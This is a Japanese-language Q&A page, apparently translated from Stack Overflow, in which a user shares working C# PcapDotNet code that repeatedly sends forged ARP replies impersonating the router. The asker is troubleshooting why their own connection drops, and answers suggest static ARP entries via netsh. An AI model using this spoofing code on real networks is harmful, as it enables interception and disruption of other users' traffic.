1

次のコードで PcapDotNet を使用して ARP ポイズン パケットを作成しています。

using (PacketCommunicator communicator =
            selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
        {
            while (true)
            {
                Packet arp;

                EthernetLayer ethernetLayer = new EthernetLayer
                {
                    Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
                    Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
                    EtherType = EthernetType.None, // Will be filled automatically.
                };

                ArpLayer arpLayer = new ArpLayer
                {
                    ProtocolType = EthernetType.IpV4,
                    Operation = ArpOperation.Reply,
                    SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
                    SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP

                    TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
                    TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
                };

                PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);

                arp = builder.Build(DateTime.Now);

                communicator.SendPacket(arp);
                System.Threading.Thread.Sleep(500);
            }
        }

問題は、リモート デバイスを汚染することはできますが、自分の PC でもインターネットを失ってしまうことです (自分自身への汚染ですか?)。おそらく問題は、自分のシステムが送信したパケットを読み取らないようにすることを(何らかの方法で)示さなければならないことだと思います...しかし、方法がわかりません....誰かがここで何が問題なのか説明できますか?

4

2 に答える 2

2

ゲートウェイ IP を含む ARP エントリを静的としてマークします (正しいハードウェア アドレスを使用)。これを行うには、cmd で管理者として次を実行します。

netsh interface ip add neighbors "{Network Device}" {IP Address} {MAC Address}

ネットワーク デバイスは、たとえば「ローカル エリア接続」または「イーサネット」です(引用符を忘れないでください)。現在使用しているネットワーク デバイスを確認するには、コマンド " ncpa.cpl " を実行します。

静的エントリを削除する場合は、cmd で次のコマンドを実行します。

netsh interface ip delete neighbors "{Network Device}" {IP Address}

また、インターネットがない理由の 1 つは、ネットワーク内のすべてのトラフィックがホストにリダイレクトされるためです。ホストにはルーターと同じ機能がないため、ネットワークの輻輳が発生する可能性があります。インターネットにアクセスできない理由が自分自身を汚染していることを確認するには、cmd でコマンド「arp -a」を実行し、ルーターのハードウェア アドレスを確認します。ハードウェア アドレスがホストのハードウェア アドレスと同じである場合は、自分自身を汚染しています。

于 2013-09-20T19:57:19.447 に答える
0

ルーターの内部 IP に対してポイズン レコードを作成している可能性はありますか? その場合、OS がルーターに何も送信できなくなり、インターネットに接続できなくなるため、インターネット接続が機能しなくなるのは当然のことです。

于 2013-03-17T20:54:47.800 に答える